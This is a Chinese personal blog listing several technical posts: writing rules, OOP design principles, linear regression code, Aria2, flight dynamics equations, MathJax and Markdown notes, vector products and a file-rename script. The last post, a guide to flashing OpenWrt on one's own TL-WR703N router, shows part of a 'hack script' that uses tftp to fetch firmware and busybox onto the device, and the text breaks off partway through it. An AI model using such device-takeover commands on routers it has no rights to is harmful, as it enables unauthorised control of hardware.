Jack Huang's Blog


  • 首页

  • 标签

  • 归档

  • 搜索

如何写好一篇论文的十条基本原则

发表于 2019-01-17

看到一篇有关如何撰写科技论文的好文章,赶紧摘抄一下。

原则(规则 1–4)

写作即交流。因此,读者体验是首等重要的,所有的写作服务于这一目标。当你写作时,心中要时时有读者。以下四条规则是关于如何赢取读者。

规则 1:论文有一个中心主旨,并体现在标题中

规则 2:假设写作对象对论文内容一无所知

规则 3:坚持原因、内容和结论(Context-Content-Conclusion/C-C-C)结构

规则 4:避免委婉,使用并行优化的逻辑流

论文组成(规则 5-8)

论文的摘要、介绍、结果与讨论都适用于 C-C-C 结构,但各有些许不同。在下图中,我们将讨论这些专门结构的问题:

论文结构

规则 5:在摘要中总结所有要点

规则 6:在介绍中讨论这篇论文的重要性

规则 7:用多个逻辑相关的陈述句(可辅以图表)给出支持论文中心思想的结果

规则 8:讨论如何填补差距、论文的局限性和论文与该领域的相关性

写作流程(规则 9 和 10)

规则 9:把时间花费到关键的地方:题目、摘要、图和大纲

规则 10:获取反馈,然后简化、重新使用、再次构造这个故事

参考链接

  1. 从标题到写作流程:写好一篇论文的十条基本原则,by 机器之心.

面向对象编程的设计原则

发表于 2019-01-17 | 更新于 2019-05-05

说来惭愧,我虽然计算机科学专业科班出生,但是对面向对象编程的理解并不透彻。但在看到“如何写一手漂亮的模型:面向对象编程的设计原则综述”后,感觉收获不少,欣喜之余赶紧摘抄记录一下。

面向对象编程的设计原则

为了写出清晰的、高质量的、可维护并且可扩展的代码,面向对象编程(OOP)将是我们最佳的选择。

对象类型

因为我们要围绕对象来建立代码,所以区分它们的不同责任和变化是有用的。一般来说,面向对象的编程有三种类型的对象。

实体对象

这类对象通常对应着问题空间中的一些现实实体。比如我们要建立一个角色扮演游戏(RPG),那么简单的 Hero 类就是一个实体对象。

这类对象通常包含关于它们自身的属性(例如 health 或 mana),这些属性根据具体的规则都是可修改的。

控制对象(Control Object)

控制对象(有时候也称作管理对象)主要负责与其它对象的协调,这是一些管理并调用其它对象的对象。我们上面的 RPG 案例中有一个很棒的例子,Fight 类控制两个英雄,并让它们对战。

在这种类中,为对战封装编程逻辑可以给我们提供多个好处:其中之一就是动作的可扩展性。我们可以很容易地将参与战斗的英雄传递给非玩家角色(NPC),这样它们就能利用相同的 API。我们还可以很容易地继承这个类,并复写一些功能来满足新的需要。

边界对象(Boundary Object)

这些是处在系统边缘的对象。任何一个从其它系统获取输入或者给其它系统产生输出的对象都可以被归类为边界对象,无论那个系统是用户,互联网或者是数据库。

这些边界对象负责向系统内部或者外部传递信息。例如对要接收的用户指令,我们需要一个边界对象来将键盘输入(比如一个空格键)转换为一个可识别的域事件(例如角色的跳跃)。

Bonus:值对象(Value Object)

价值对象代表的是域(domain)中的一个简单值。它们无法改变,不恒一。

如果将它们结合在我们的游戏中,Money 类或者 Damage 类就表示这种对象。上述的对象让我们容易地区分、寻找和调试相关功能,然而仅使用基础的整形数组或者整数却无法实现这些功能。

它们可以归类为实体对象的子类别。

关键设计原则

设计原则是软件设计中的规则,过去这些年里已经证明它们是有价值的。严格地遵循这些原则有助于软件达到一流的质量。

抽象(Abstraction)

抽象就是将一个概念在一定的语境中简化为原始本质的一种思想。它允许我们拆解一个概念来更好的理解它。

上面的游戏案例阐述了抽象,让我们来看一下 Fight 类是如何构建的。我们以尽可能简单的方式使用它,即在实例化的过程中给它两个英雄作为参数,然后调用 fight() 方法。不多也不少,就这些。

封装

封装可以被认为是将某些东西放在一个类以内,并限制了它向外部展现的信息。在软件中,限制对内部对象和属性的访问有助于保证数据的完整性。

将内部编程逻辑封装成黑盒子,我们的类将更容易管理,因为我们知道哪部分可以被其它系统使用,哪些不行。这意味着我们在保留公共部分并且保证不破坏任何东西的同时能够重用内部逻辑。此外,我们从外部使用封装功能变得更加简单,因为需要考虑的事情也更少。

分解

分解就是把一个对象分割为多个更小的独立部分,这些独立的部分更易于理解、维护和编程。

试想我们现在希望 Hero 类能结合更多的 RPG 特征,例如 buffs,资产,装备,角色属性。

解决方案就是将 Hero 对象分解为多个更小的对象,每个小对象可承担一些功能。

下面是三种分解关系:

  • 关联:在两个组成部分之间定义一个松弛的关系。两个组成部分不互相依赖,但是可以一起工作。例如 Hero 对象和 Zone 对象。
  • 聚合:在整体和部分之间定义一个弱「包含」关系。这种关系比较弱,因为部分可以在没有整体的时候存在。例如 HeroInventory(英雄财产)和 Item(条目)。HeroInventory 可以有很多 Items,而且一个 Items 也可以属于任何 HeroInventory(例如交易条目)。
  • 组成:一个强「包含」关系,其中整体和部分不能彼此分离。部分不能被共享,因为整体要依赖于这些特定的部分。例如 Hero(英雄)和 HeroAttributes(英雄属性)。

泛化

泛化可能是最重要的设计原则,即我们提取共享特征,并将它们结合到一起的过程。我们都知道函数和类的继承,这就是一种泛化。

做一个比较可能会将这个解释得更加清楚:尽管抽象通过隐藏非必需的细节减少了复杂性,但是泛化通过用一个单独构造体来替代多个执行类似功能的实体。

在给出的例子中,我们将常用的 Hero 类和 NPC 类泛化为一个共同的父类 Entity,并通过继承简化子类的构建。

这里,我们通过将它们的共同功能移动到基本类中来减少复杂性,而不是让 NPC 类和 Hero 类将所有的功能都实现两次。

组合

组合就是把多个对象结合为一个更复杂对象的过程。这种方法会创建对象的示例,并且使用它们的功能,而不是直接继承它。

使用组合原则的对象就被称作组合对象(composite object)。这种组合对象在要比所有组成部分都简单,这是非常重要的一点。当把多个类结合成一个类的时候,我们希望把抽象的层次提高一些,让对象更加简单。

组合对象的 API 必须隐藏它的内部模块,以及内部模块之间的交互。就像一个机械时钟,它有三个展示时间的指针,以及一个设置时间的旋钮,但是它内部包含很多运动的独立部件。

正如我所说的,组合要优于继承,这意味着我们应该努力将共用功能移动到一个独立的对象中,然后其它类就使用这个对象的功能,而不是将它隐藏在所继承的基本类中。

批判性思考

尽管这些设计原则是在数十年经验中形成的,但盲目地将这些原则应用到代码之前进行批判性思考是很重要的。

任何事情都是过犹不及!有时候这些原则可以走得很远,但是实际上有时会变成一些很难使用的东西。

作为一个工程师,我们需要根据独特的情境去批判地评价最好的方法,而不是盲目地遵从并应用任意的原则。

关注点的内聚、耦合和分离

内聚(Cohesion)

内聚代表的是模块内部责任的分明,或者是模块的复杂度。

如果我们的类只执行一个任务,而没有其它明确的目标,那么这个类就有着高度内聚性。另一方面,如果从某种程度而言它在做的事情并不清楚,或者具有多于一个的目标,那么它的内聚性就非常低。

我们希望代码具有较高的内聚性,如果发现它们有非常多的目标,或许我们应该将它们分割出来。

耦合

耦合获取的是连接不同类的复杂度。我们希望类与其它的类具有尽可能少、尽可能简单的联系,所以我们就可以在未来的事件中交换它们(例如改变网络框架)。

在很多编程语言中,这都是通过大量使用接口来实现的,它们抽象出处理特定逻辑的类,然后表征为一种适配层,每个类都可以嵌入其中。

分离关注点

分离关注点(SoC)是这样一种思想:软件系统必须被分割为功能上互不重叠的部分。或者说关注点必须分布在不同的地方,其中关注点表示能够为一个问题提供解决方案。

网页就是一个很好的例子,它具有三个层(信息层、表示层和行为层),这三个层被分为三个不同的地方(分别是 HTML,CSS,以及 JS)。

如果重新回顾一下我们的 RPG 例子,你会发现它在最开始具有很多关注点(应用 buffs 来计算袭击伤害、处理资产、装备条目,以及管理属性)。我们通过分解将那些关注点分割成更多的内聚类,它们抽象并封装了它们的细节。我们的 Hero 类现在仅仅作为一个组合对象,它比之前更加简单。

结语

对小规模的代码应用这些原则可能看起来很复杂。但是事实上,对于未来想要开发和维护的任何一个软件项目而言,这些规则都是必须的。在刚开始写这种代码会有些成本,但是从长期来看,它会回报以几倍增长。

这些原则保证我们的系统更加:

可扩展:高内聚使得不用关心不相关的功能就可以更容易地实现新模块。
可维护:低耦合保证一个模块的改变通常不会影响其它模块。高内聚保证一个系统需求的改变只需要更改尽可能少的类。
可重用:高内聚保证一个模块的功能是完整的,也是被妥善定义的。低耦合使得模块尽可能少地依赖系统的其它部分,这使得模块在其它软件中的重用变得更加容易。

参考链接

  1. 如何写一手漂亮的模型:面向对象编程的设计原则综述,by 机器之心.
  2. 什么是面向切面编程AOP?,by 知乎.
  3. 什么是面向方面编程,by liuweitoo.
  4. AOP面向方面编程,by 规速.
  5. 团队开发框架实战—面向切面的编程 AOP,by Bobby0322.
  6. 轻松理解AOP(面向切面编程),by -望远-.
  7. 依赖注入,by android-cn.

机器学习之线性回归问题求解

发表于 2019-01-12

在统计学中,线性回归(Linear regression)是利用称为线性回归方程的最小二乘函数对一个或多个自变量和因变量之间关系进行建模的一种回归分析。这种函数是一个或多个称为回归系数的模型参数的线性组合。只有一个自变量的情况称为简单回归,大于一个自变量情况的叫做多元回归。下面以简单线性回归为例,以机器学习的方法求解此问题。

问题设定

已知有 $N$ 个 $x, y$ 对构成数据集 $X, Y$ ,他们在坐标轴上的分布如下图:

数据集

现在希望找到一个函数:

$$h(x) = wx+b$$

这个函数会尽可能的拟合数据集 $X, Y$ ,为了做到这点,我们希望这个函数 $h(x)$ 在 $X$ 上每一个取值 $x_i$ 的函数值 $h(x_i)$ 与 $Y$ 上每一个对应的 $y_i$ 的平方差尽可能小。即找到一组 $w, b$ ,能使得 $loss(w, b)$ 最小。

$$loss(w, b) = \frac{1}{N}\sum^{N}_{i=0}(wx_i+b-y_i)^2$$

问题求解

采用梯度下降法找到目标 $w, b$,先随机初始化一对 $w_0, b_0$。由于函数的负梯度方向是函数值下降最快的方向,因此对 $w, b$ 求其偏微分:

$$\begin{aligned} \frac{\partial loss(w, b)}{\partial w} &= \frac{2}{N}\sum^{N}{i=0}(wx_i+b-y_i)\cdot x_i, \ \frac{\partial loss(w, b)}{\partial b} &= \frac{2}{N}\sum^{N}{i=0}(wx_i+b-y_i) \end{aligned}$$

再通过下式在每次迭代中更新 $w, b$ :

$$\begin{aligned} w_{t+1} &= w_t - \eta \frac{\partial l(w_t, b_t)}{\partial w_t} \ b_{t+1} &= b_t - \eta \frac{\partial l(w_t, b_t)}{\partial b_t} \end{aligned}$$

其中, $\eta$ 是学习率。

python实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# -*- coding: utf-8 -*-

# %matplotlib inline

import matplotlib.pyplot as plt
import numpy as np

# 生成100对x, y
data_count = 100
w_cache, b_cache, l_cache, = [], [], []
# 学习速度
learning_rate = 0.003
# 迭代次数
training_steps = 3000

x_data = np.linspace(-20, 20, data_count)
y_data = np.multiply(4, x_data) + 7 + np.random.normal(loc=0, scale=8.0, size=(data_count,))

# 初始化w和b
w = np.random.rand()
b = np.random.rand()
y_predict = w * x_data + b

# 梯度下降迭代3000次
for iteration in range(training_steps):
y_predict = w * x_data + b
diff = y_predict - y_data
error = np.sum(np.square(diff)) / data_count
grad_w = np.mean(diff * x_data)
grad_b = np.mean(diff)
w -= learning_rate * grad_w
b -= learning_rate * grad_b
w_cache.append(w)
b_cache.append(b)
l_cache.append(error)

y_predict = w * x_data + b

# 绘制结果
plt.figure(figsize=(10, 6))
plt.scatter(x_data, y_data, s=10, color='g')
plt.plot(x_data, y_predict)
plt.title('y=4x+7')
plt.xlabel('x')
plt.ylabel('y')
plt.show()

tensorflow实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
# -*- coding: utf-8 -*-

import tensorflow as tf
import matplotlib.pyplot as plt
import numpy as np

# 初始化变量和模型参数,定义训练闭环中的运算

# 生成100对x, y
data_count = 100

# 超参数,实际的训练迭代次数
training_steps=1000

# 超参数,学习速率
learning_rate=0.003

# 定义tf graph输入
X = tf.placeholder(tf.float32)
Y = tf.placeholder(tf.float32)
# 定义模型参数
W = tf.Variable(np.random.randn(), name="weight", dtype=tf.float32)
b = tf.Variable(np.random.randn(), name="bias", dtype=tf.float32)

def inference(X):
# 计算推断模型在数据X上的输出,并将结果返回
pred = tf.add(tf.multiply(W, X), b)
return pred

def loss(X,Y):
# 依据训练数据X及其期望输出Y计算损失
pred = tf.add(tf.multiply(W, X), b)
cost = tf.reduce_sum(tf.pow(pred-Y, 2)) / data_count
return cost

def inputs():
# 读取或生成训练数据X及其期望输出Y
x_data = np.linspace(-20, 20, data_count)
y_data = np.multiply(4, x_data) + 7 + np.random.normal(loc=0, scale=8.0, size=(data_count,))
return (x_data,y_data)

def train(total_loss):
# 依据计算的总损失训练或调整模型参数
optimizer = tf.train.GradientDescentOptimizer(learning_rate).minimize(total_loss)
return optimizer

def evaluate(sess,X,Y):
# 对训练得到的模型进行评估
# 因为是线性回归,这里只图示
plt.figure(figsize=(10, 6))
plt.scatter(X, Y, s=10, color='g')
pred=inference(X)
plt.plot(X, sess.run(pred))
plt.title('y=4x+7')
plt.xlabel('x')
plt.ylabel('y')
plt.show()

# 在一个会话对象中启动数据流图,搭建流程
with tf.Session() as sess:
tf.initialize_all_variables().run()

X,Y=inputs()

total_loss=loss(X,Y)
train_op=train(total_loss)

coord=tf.train.Coordinator()
threads=tf.train.start_queue_runners(sess=sess,coord=coord)

for step in range(training_steps):
sess.run([train_op])
# 出于调试和学习的目的,查看损失在训练过程中递减的情况
if step % 10 ==0:
print("loss: ",sess.run([total_loss]))

evaluate(sess,X,Y)

coord.request_stop()
coord.join(threads)
sess.close()

参考文献

  1. 线性回归, by wikipedia.
  2. 重拾基础 - 线性回归(一), by Cerulean.

开源跨平台下载利器Aria2

发表于 2019-01-07

长期以来,迅雷一直是我在Windows平台上首选的下载工具。但是随着迅雷软件升级更新后的下载限速和广告推销的愈演愈烈,我终于下定决心卸载了它。下面我推荐一款开源跨平台的下载利器Aria2。

Aria2简介

Aria2是一款自由、跨平台命令行界面的下载管理器,该软件根据GPLv2许可证进行分发。支持的下载协议有:HTTP、HTTPS、FTP、Bittorrent和Metalink。

不同于Wget这样的的命令行界面下载器,Aria2不仅支持BitTorrent,还能够从各种来源多路检索所请求的文件。包括HTTP,HTTPS,FTP和BitTorrent协议。aria2使用Metalink数据块的校验和自动查验BitTorrent下载的数据部分。

安装配置

从Aria2官网下载最新Aria2安装包,当前Aria2最新的版本为1.34.0。

将下载的Aria2安装包aria2-1.34.0-win-64bit-build1解压到C盘目录,并将Aria2安装目录添加到Windows环境变量PATH。

重启后,打开Windows终端,即可在命令行中使用Aria2下载文件。

使用帮助

从Web中下载文件:

1
aria2c http://example.org/mylinux.iso

从2个源下载文件:

1
aria2c http://a/f.iso ftp://b/f.iso

使用2个连接下载文件:

1
aria2c -x2 http://a/f.iso

BitTorrent下载:

1
aria2c http://example.org/mylinux.torrent

BitTorrent Magnet URI下载:

1
aria2c 'magnet:?xt=urn:btih:248D0A1CD08284299DE78D5C1ED359BB46717D8C'

按照txt中给出的URI下载:

1
aria2c -i uris.txt

参考链接

  1. Aria2,by wikipedia.
  2. Aria2 Homepage,by Aria2.

飞行仿真之刚体六自由度方程

发表于 2019-01-06 | 更新于 2020-07-27

在飞行仿真中,获取飞机的位姿是基本要求。将飞行器视为刚体,根据牛顿第二定律和动量矩定理,即可推导出飞机的质心运动方程和飞机绕质心转动的动力学方程,即刚体的六自由度方程。下面即从《航空飞行器飞行动力学》中摘抄刚体六自由度方程的推导过程。

飞行器质心运动方程

根据牛顿第二定理:

$$m\frac{dV}{dt}=F \tag{1}$$

式中$m$为飞行器质量,$V$为飞行器飞行速度矢量,$F$为作用于质心处外力的合力矢量。

具体研究飞行器质心运动规律时,工程上常建立投影正在一动坐标系的标量方程,并认为大气时静止的。

一般动坐标系中质心动力学方程

取原点位于飞行器质心的一动坐标系$Oxyz$,它相对惯性坐标系$O_gx_gy_gz_g$有一转动角速度$w$。质心的绝对速度为$V$,如图1所示。

动系相对于惯性坐标系的关系

图1 动系相对于惯性坐标系的关系

将速度$V$和角速度$w$分别在动坐标系上投影,则有

$$V=V_xi+V_yj+V_zk \tag{2}$$
$$w=w_xi+w_yj+w_zk \tag{3}$$

式中$i,j,k$为动坐标系$Oxyz$的单位矢量。由于$w$存在,其方向将随时间变化。

将公式$(2)和(3)$带入公式$(1)$,则速度$V$的微分,即质心的绝对加速度为:

$$
\frac{F}{m}=\frac{dV}{dt}=\frac{dV_x}{dt}i+\frac{dV_y}{dt}j+\frac{dV_z}{dt}k+V_x\frac{di}{dt}+V_y\frac{dj}{dt}+V_z\frac{dk}{dt} \tag{4}
$$

式中单位矢量导数$di/dt$是矢量端点$i$的速度,此时矢端曲线是绕$w$旋转的圆,因此:

$$\frac{di}{dt}=w\times i$$
$$\frac{dj}{dt}=w\times y$$
$$\frac{dk}{dt}=w\times z$$

将上述关系代入公式$(4)$,即可知质心的绝对加速度可表示为

$$\frac{F}{m}=\frac{dV}{dt}=\frac{\delta V}{\delta t}+w \times V \tag{5}$$

其中:

$$\frac{\delta V}{\delta t}=\frac{dV_x}{dt}i+\frac{dV_y}{dt}j+\frac{dV_z}{dt}k$$

式(5)中 $\frac{\delta V}{\delta t}$ 为动系角速度 $w=0$ 时的加速度,即相当于观察者站在动坐标系中所看到的质心加速度;$w\times V$为由于存在角速度 $w$ 使 $V$ 相对于动坐标系方向发生变化而产生的加速度;$\frac{dV}{dt}$ 为质心的绝对加速度,即观察者在地面坐标系上所看到的加速度。

同样合力矢量$F$用动坐标系上投影表示为:

$$F=F_xi+F_yj+F_zk$$

于是式(5)在动坐标系$Oxyz$上投影的质心动力学标量方程如下:

$$m(\frac{dV_x}{dt}+V_zw_y-V_yw_z)=F_x$$
$$m(\frac{dV_y}{dt}+V_xw_z-V_zw_x)=F_y$$
$$m(\frac{dV_z}{dt}+V_yw_x-V_xw_y)=F_z$$

上述方程组适用于任何动坐标系。

飞行器绕质心的动力学方程

根据动量矩定理,飞行器绕质心的转动运动可表示为:

$$M=\frac{dh}{dt} \tag{6}$$

式中$h$为飞行器对坐标系原点的动量矩;$M$为作用在飞行器上的外力对原点的合力矩。

对质心的动量矩

图2 对质心的动量矩

根据动量矩定义,飞行器上任意微元质量为dm,对坐标系原点的动量矩为:

$$\Delta h=r\times V dm$$

式中$r$为微元质量到坐标系原点的矢径;$V$为该微元质量的速度矢量,则

$$V=V_o+w\times r$$

式中$V_o$为坐标系原点速度(如坐标原点取为飞行器质心,则为质心速度);$w$为坐标系转动角速度。

于是飞行器的总动量矩可积分得出

$$h=\int r\times V dm=\int r dm \times V_o +\int r \times (w \times r) dm$$

取坐标系原点为质心时,有

$$\int r dm=0$$

飞行器动量矩简化为

$$h=\int r \times (w\times r) dm \tag{7}$$

上式表明,飞行器的动量矩只取决于转动产生的速度部分,而与质心运动速度$V_o$无关。矢径$r$和角速度$w$用坐标系中投影分量表示为:

$$r=xi+yj+zk$$
$$w=w_xi+w_yj+w_zk$$

将上述关系式代入式$(7)$,经整理得:

$$h_x=w_xI_x-w_yI_{xy}-w_zI_{zx}$$
$$h_y=w_yI_y-w_xI_{xy}-w_zI_{yz}$$
$$h_z=w_zI_z-w_xI_{zx}-w_yI_{yz}$$

式中$I_x$,$I_y$,$I_z$分别为飞行器对$O_x$轴,$O_y$轴,$O_z$轴地惯性矩,分别为:

$$I_x=\int (y^2+z^2) dm$$
$$I_y=\int (x^2+z^2) dm$$
$$I_z=\int (x^2+y^2) dm$$

而$I_{xy}$, $I_{yz}$, $I_{zx}$ 则为对 $O_x$ 轴与 $O_y$ 轴,$O_y$ 轴与 $O_z$ 轴,$O_z$ 轴与 $O_x$ 轴的惯性积,分别为:

$$I_{xy}=\int xy dm$$
$$I_{yz}=\int yz dm$$
$$I_{zx}=\int zx dm$$

一般动坐标系中绕质心转动动力学方程

具体研究飞行器绕质心转动规律时,矢量形式的式$(6)$使用不便。工程习惯上将其投影在一动坐标系上建成方程的标量形式。此时动坐标系在空中以$w$转动,类同于加速度$\frac{dV}{dt}$,动量矩可以表示为:

$$M=\frac{dh}{dt}=\frac{\delta h}{\delta t}+w\times h$$

类似一般动坐标系中质心动力学方程的推导,最终可得转动运动方程的标量形式为:

$$\frac{dh_x}{dt}+h_zw_y-h_yw_z=M_x$$
$$\frac{dh_y}{dt}+h_xw_z-h_zw_x=M_y$$
$$\frac{dh_z}{dt}+h_yw_x-h_xw_y=M_z$$

参考文献

  1. 方振平,陈万春,张曙光. 航空飞行器飞行动力学[M]. 2015.
  2. 旋转变换(一)旋转矩阵,by csxiaoshui.
  3. 飞行仿真–3.刚体六自由度方程、变换矩阵与四元数,by WFYX.
  4. 判断三维坐标系旋转正方向的简单方法,by Wonderffee.
  5. (番外)姿态与旋转矩阵(I),by Tam Alex.
  6. 一点关于机器人学和计算机视觉中的坐标变换的理解,by Kissrabbit.
  7. 飞机是怎么飞起来的,by J Pan.
  8. 如何获得飞机运动方程,by J Pan.
  9. 【自动控制原理】1.传递函数,by 李寒潭.
  10. 空空导弹尾部的齿轮有什么用?,by 不沉俾斯麦.
  11. 导弹制导原理第4章,by 张庆振.
  12. 飞行原理术语解析,by 刘斯宁.
  13. 空气动力学术语解析,by 刘斯宁.

MathJax语法笔记

发表于 2019-01-05 | 更新于 2019-01-26

MathJax是一个跨浏览器的JavaScript库,它使用MathML、LaTeX和ASCIIMathML标记在Web浏览器中显示数学符号。MathJax是在Apache许可证下作为开源软件发布的。

安装MathJax

MathJax有三种安装方式:最简单的方法就是使用分布式网络服务中的MathJax的副本,它位于 cdn.mathjax.org ,但是你也可以下载并安装一个MathJax的副本到你的服务器,或者使用在你本地硬盘的副本(这样是不需要使用网络)。 官方文档里有详细的描述。

MathJax语法

如何插入公式

LaTeX的数学公式有两种:行中公式和独立公式。行中公式放在文中与其它文字混编,独立公式单独成行。

行中公式可以用如下两种方法表示:

(数学公式) 或 $数学公式$

独立公式可以用如下两种方法表示:

[数学公式] 或 $$数学公式$$

打Tag和引用公式

如果在某个公式之后,又想要引用原公式并说明原公式的出处,可以用 tagging/labelling/referencing system来做。

可以用 \tag{yourtag} 来给原公式打 Tag。

$$m\frac{dV}{dt}=F \tag{1}$$

如果在后面需要引用它,就在 \tag 后面加上 \label{somelabel},yourtag 和 somelabel不一定要一样,但最好一样。

参考链接

  1. MathJax, by wikipedia.
  2. MathJax使用LaTeX语法编写数学公式教程, by knight.
  3. MathJax Home, by mathjax.

Markdown语法笔记

发表于 2019-01-05

一直使用Markdown编辑文档,偶尔会遇到使用一些特殊Markdown语法,为了防止遗忘,特在此记录一下。

强调

在Markdown中,可以使用 * 和 _ 表示斜体,用 ** 表示加粗。例如:

Coding,让开发更简单

Coding,让开发更简单

Coding,让开发更简单

引用

Markdown 标记区块引用和 email 中用 『>』的引用方式类似,只需要在整个段落的第一行最前面加上 『>』 :

Coding.net 为软件开发者提供基于云计算技术的软件开发平台,包括项目管理,代码托管,运行空间和质量控制等等。

区块引用可以嵌套,只要根据层次加上不同数量的『>』:

这是第一级引用。

这是第二级引用。

现在回到第一级引用。

参考链接

  1. Markdown 语法介绍, by coding.

向量点积叉积及其几何意义

发表于 2019-01-05

在3D游戏开发中,经常用到向量的点积和叉积及其几何意义,为防止遗忘,在此记录一下。

点积

在数学中,点积(德语:Skalarprodukt、英语:Dot Product)又称数量积或标量积(德语:Skalarprodukt、英语:Scalar Product),是一种接受两个等长的数字序列(通常是坐标向量)、返回单个数字的代数运算。在欧几里得几何中,两个笛卡尔坐标向量的点积常称为内积(德语:inneres Produkt、英语:Inner Product),见内积空间。

定义

点积有两种定义方式:代数方式和几何方式。通过在欧氏空间中引入笛卡尔坐标系,向量之间的点积既可以由向量坐标的代数运算得出,也可以通过引入两个向量的长度和角度等几何概念来求解。

代数定义

两个向量 $\vec{a} = [a1, a2,…, an]$和 $\vec{b} = [b1, b2,…, bn]$的点积定义为:

$$\vec{a}\cdot \vec{b} = \sum_{i=1}^n a_ib_i = a_1b_1 + a_2b_2 + \cdots + a_nb_n$$
这里的Σ是求和符号,而n是向量空间的维数。

几何定义

在欧几里得空间中,点积可以直观地定义为

$$\vec{a} \cdot \vec{b} = |\vec{a}| , |\vec{b}| \cos \theta ;$$

这里 $|\vec{x}|$ 表示 $\vec{x}$的模(长度), $\theta$ 表示两个向量之间的角度。

叉积

在数学和向量代数领域,叉积(英语:Cross product)又称向量积(英语:Vector product),是对三维空间中的两个向量的二元运算,使用符号 $\times$。与点积不同,它的运算结果是向量。对于线性无关的两个向量 $\mathbf {a}$ 和 $\mathbf {b}$ ,它们的叉积写作 ${\mathbf {a} \times \mathbf {b} }$,是 $\mathbf {a}$ 和 $\mathbf {b}$ 所在平面的法线向量,与 $\mathbf {a}$ 和 $\mathbf {b}$ 都垂直。叉积被广泛运用于数学、物理、工程学、计算机科学领域。

定义

两个向量 $\mathbf {a}$ 和 $\mathbf {b}$ 的叉积仅在三维空间中有定义,写作 ${\displaystyle \mathbf {a} \times \mathbf {b} }$。在物理学中,叉积有时也被写成${\displaystyle \mathbf {a} \wedge \mathbf {b} }$,但在数学中 ${\displaystyle \mathbf {a} \wedge \mathbf {b} }$ 是外代数中的外积。

叉积 ${\displaystyle \mathbf {a} \times \mathbf {b} }$ 是与 $\mathbf {a}$ 和 $\mathbf {b}$ 都垂直的向量 $\mathbf {c}$ 。其方向由右手定则决定,模长等于以两个向量为边的平行四边形的面积。

右手定则

叉积可以定义为:

$${\displaystyle \mathbf {a} \times \mathbf {b} =|\mathbf {a} ||\mathbf {b} |\sin(\theta )\ \mathbf {n} }$$

其中$\theta$ 表示 $\mathbf {a}$ 和 $\mathbf {b}$ 在它们所定义的平面上的夹角( ${\displaystyle 0^{\circ }\leq \theta \leq 180^{\circ }}$)。 ${\displaystyle |\mathbf {a} |}$ 和 ${\displaystyle |\mathbf {b} |}$ 是向量$\mathbf {a}$ 和 $\mathbf {b}$ 的模长,而 $\mathbf{n}$ 则是一个与 $\mathbf {a}$ 、 $\mathbf {b}$ 所构成的平面垂直的单位向量,方向由右手定则决定。根据上述公式,当$\mathbf {a}$ 与 $\mathbf {b}$ 平行(即 $\theta$ 为 0° 或 180°)时,它们的叉积为零向量 $\mathbf{0}$。

在右手坐标系中的向量积

矩阵表示

叉积可以表达为这样的行列式:

$${\displaystyle \mathbf {u\times v} ={\begin{vmatrix}\mathbf {i} &\mathbf {j} &\mathbf {k} \u_{1}&u_{2}&u_{3}\v_{1}&v_{2}&v_{3}\\end{vmatrix}}}$$

这个行列式可以使用萨吕法则或拉普拉斯展开计算。使用拉普拉斯展开可以沿第一行展开为:

$${\displaystyle {\begin{aligned}\mathbf {u\times v} &={\begin{vmatrix}u_{2}&u_{3}\v_{2}&v_{3}\end{vmatrix}}\mathbf {i} -{\begin{vmatrix}u_{1}&u_{3}\v_{1}&v_{3}\end{vmatrix}}\mathbf {j} +{\begin{vmatrix}u_{1}&u_{2}\v_{1}&v_{2}\end{vmatrix}}\mathbf {k} \&=(u_{2}v_{3}-u_{3}v_{2})\mathbf {i} -(u_{1}v_{3}-u_{3}v_{1})\mathbf {j} +(u_{1}v_{2}-u_{2}v_{1})\mathbf {k} \end{aligned}}}$$
可以直接得到结果向量。

参考链接

  1. 叉积, by wikipedia.
  2. 数量积, by wikipedia.
  3. 向量点乘(内积)和叉乘(外积、向量积)概念及几何意义解读, by -牧野-.

Python批量重命名文件

发表于 2019-01-01 | 更新于 2022-05-15

最近从iData中下载了很多学术论文,这些论文文件名都以“www.cn-ki.net_”开头,一个个重命名太麻烦,于是使用如下python3脚本批量重命名文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Python3 code to rename multiple  
# files in a directory or folder

# importing os module
import os

# Function to rename multiple files
def main():

# search file in current directory
for filename in os.listdir("."):

if os.path.isfile(filename):
if "www.cn-ki.net_" in filename[0:14]:
src=filename
dst=filename[14:]
# rename the special file
os.rename(src, dst)

# Driver Code
if __name__ == '__main__':

# Calling main() function
main()

参考文献

  1. How to sort with lambda in Python,by linuxhint.
  2. 用Python复制文件的9个方法,by 景略集智.
  3. shutil — 高阶文件操作,by python.
  4. python glob.glob使用,by mantoureganmian.

TL-WR703N版本v1.7刷openwrt教程

发表于 2018-12-31 | 更新于 2021-07-16

我的TL-WR703N路由器运行不稳定,就准备尝试刷最新的OpenWRT,看看能否好一点。

准备工作

  • 一个 TP-Link TL-WR703N 路由器,确保固件版本为 3.17.1 Build 140120 Rel.56593n
    1
    # 在刷机之前,按reset按钮重置路由器
  • TL-WR703N 的 openwrt 固件 openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
    1
    2
    3
    4
    # 下载openwrt固件并拆分成两份(因为wr703n的内存很小,可能传输的时候传不了整个文件)
    curl https://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
    dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576
    dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576
  • TFTP 服务器
    1
    2
    # 安装TFTP的客户端和服务器端
    sudo apt-get install atftp atftpd
  • busybox 1.16.1 MIPS 版
    1
    curl https://busybox.net/downloads/binaries/1.21.1/busybox-mips > busybox
  • 编写Hack脚本
    1
    2
    3
    4
    5
    6
    7
    8
    cd /tmp
    tftp -gl i1 192.168.1.100 # 把i1从tftp服务器下载下来,这里的ip应该是,你的tftp服务器连接路由器之后,ifconfig看到的ip
    tftp -gl i2 192.168.1.100 # 把i2从tftp服务器下载下来
    tftp -gl busybox 192.168.1.100 # 把busybox从tftp服务器下载下来
